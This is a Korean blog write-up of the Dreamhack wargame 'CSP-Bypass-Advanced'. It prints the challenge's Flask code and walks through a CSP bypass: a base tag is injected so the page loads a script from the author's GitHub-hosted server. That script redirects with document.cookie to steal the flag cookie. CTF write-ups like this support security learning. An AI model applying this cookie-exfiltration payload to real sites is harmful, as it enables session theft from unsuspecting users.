[WARGAME] 드림핵 워게임- CSP-Bypass-Advanced

jckim22·2022년 11월 4일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
48/114

이번 문제를 풀면서 애먹었던 점

1.로컬 서버를 포트포워딩을 하지 않거나 호스팅 서버를 파지않고 해맸음 (셀레니움의 입장을 생각하면 해결)
2.오타와의 싸움
3.깃허브 호스팅의 오류

일단 아래 코드를 살펴보자

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy']
    = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

이전과 달라진점을 찾아보면 csp에서 플러그인에 대한 제재와 가장 중요한 건 vuln()에서 vuln.html에 param의 값을 랜더링 해준다는 것이다.

아래처럼 말이다.

다행히 운이 좋게도 내 머릿속에서는 저 랜더링 해주는 부분의 base 태그를 삽입하여 기본 url을 바꿔주면 되겠다는 생각이 떠올랐다.

그래서 다시 돌아가 csp를 확인해봤는데 base에 대한 제재는 없었다.
그리고 소스를 분석했다.
/static/js/jquery.min.js라는 파일을 불러오고 있었다.

그렇다면 base url을 조작한 뒤 똑같은 경로에 파일을 만들게 되면
조작된주소/static/js/jquery.min.js가 로드되어 성공할 것이라고 생각했다.

그래서 로컬에 아파치 서버를 키고 파일을 조작된 경로에 만들었다.
그리고 그 파일의 내용은

document.location="http://드림핵 워게임/memo?memo=" + document.cookie

이었다.

그 후 아래처럼 base href를 로컬호스트로 해주었다.


그랬더니 아래와 같은 오류가 떴다.
뭔가 CORS의 문제가 있는 것 같았다.

혹시나 /flag에서 param으로 입력하게 되면 될까 하는 생각에 해봤지만 역시 되지 않았고 곧 바로 너무 바보같은 생각이었다는 것을 알았다.

셀레니움은 가상의 사용자고 그 사용자의 localhost는 다른데 가상의 사용자에서 127.0.0.1을 base로 사용한다는 것은 바보같은 짓이었다.

그렇다면 셀레니움도 접속할 수 있는, 누구나 접속할 수 있는 웹호스팅을 이용하기로 했다.
저번 게시판 때 이용한 닷홈도 살아있지만 예전에 열어놨던 깃허브 호스팅을 사용하기로 했다.

깃허브의 repository를 static으로 변경후 그 안에 js디렉토리와 안에 js파일을 생성했다.
그리고 파일의 내용은 alert를 실행하도록 했다.

vuln에서 base로 깃허브 주소를 하게되니까 깃허브주소/static(레포지터리)/js/~~~.js 가 로드가 되어 아래처럼 alert가 뜨는 것을 볼 수 있었다.

다시 원래의 목적 대로 파일의 내용을 아래와 같이 셀레니움이 드림핵 memo 웹페이지로 들어가 자신의 쿠키를 memo하는 코드로 바꾸었다.

또한 jquery말고 다른 파일에는 Hello world!를 출력하는 코드를 작성했다.


아래처럼 핼로 월드가 뜨고 memo페이지로 이동되는 것을 알 수 있었다.

그럼 이제 아래와 같이 셀레니움이 접속하게 해보았다.

근데 이상하게 아래처럼 wrong??이 뜨면서 셀레니움이 url을 get하는데 실패했다.

그 후 아마 여러 정책 때문에 셀레니움이 저런 직접적인 url로는 접속 못한 것이라고 생각했다.

그래서 /flag 페이지에도 있듯이 경로를 127.0.0.1:8000로 해주었다.
같은 의미인데 왜 이것만 되는지는 더 알아봐야한다.

결론적으로 다시 /flag에 param에 나의 깃허브 주소를 base로 하라는 태그를 넣어 보내게 되면
아래처럼 memo에서 flag를 얻을 수 있게 된다.

시나리오는 이러하다

전제:vuln과 memon에서는 render 템플릿 함수 때문에 xss공격이 불가능하다.
csp로 인해서 외부의 파일 불러오는 것 또한 불가능하다.
허나 csp에는 base에 대한 제재가 없다.
base 자체도 미지정이 되어있다.
따라서 base url 지정하여 원래 불러오던 파일을 내 서버에서 불러오게 만들어야한다.

1.사용자는 악성 vuln으로 가는 악성 url에 접속한다.
2.그 url의 내용은 vuln페이지에서 base url을 나의 개인 서버로 지정하는 태그를 삽입한다는 내용이다.
3.vuln페이지에는 base가 나의 개인 서버로 되면서 원래 불러와야했던 파일을 불러오지 않고 내 개인 서버에 있는 악성 파일을 불러오게 된다.
4.csp에는 base에 대한 제한이 없기 때문에 우회가 가능하다.
5.악성 파일을 불러오면서 그 안에 스크립트가 실행된다.
6.사용자는 영문도 모른채 쿠키를 탈취당한다.

개발을 할 때는 꼭 base를 지정해주거나 csp로 막아놓자

profile
개발/보안

0개의 댓글